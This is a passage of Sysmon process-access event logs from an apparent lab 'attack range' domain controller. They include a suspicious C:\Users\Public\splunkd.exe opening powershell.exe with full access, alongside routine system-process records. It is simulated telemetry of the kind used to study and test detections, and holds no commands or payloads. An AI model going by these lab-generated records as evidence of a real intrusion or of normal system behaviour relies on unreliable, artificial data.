11:49:56.915","SourceProcessGUID":"{90617006-3FDB-5F2D-0000-00103EF90100}","SourceProcessId":"2940","SourceThreadId":"3000","SourceImage":"C:\\Users\\Public\\splunkd.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-001034A30200}","TargetProcessId":"3572","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Users\\Public\\splunkd.exe+5c36e","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1509,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.915\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-001034A30200}\r\nTargetProcessId: 3572\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.915","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-001034A30200}","TargetProcessId":"3572","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1510,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.915\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.915","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1511,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.915\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.915","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1512,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.915\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.915","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1513,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.915\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.915","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1514,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.915\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.915","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1515,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.916\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.916","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1516,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.916\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.916","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1517,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.916\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 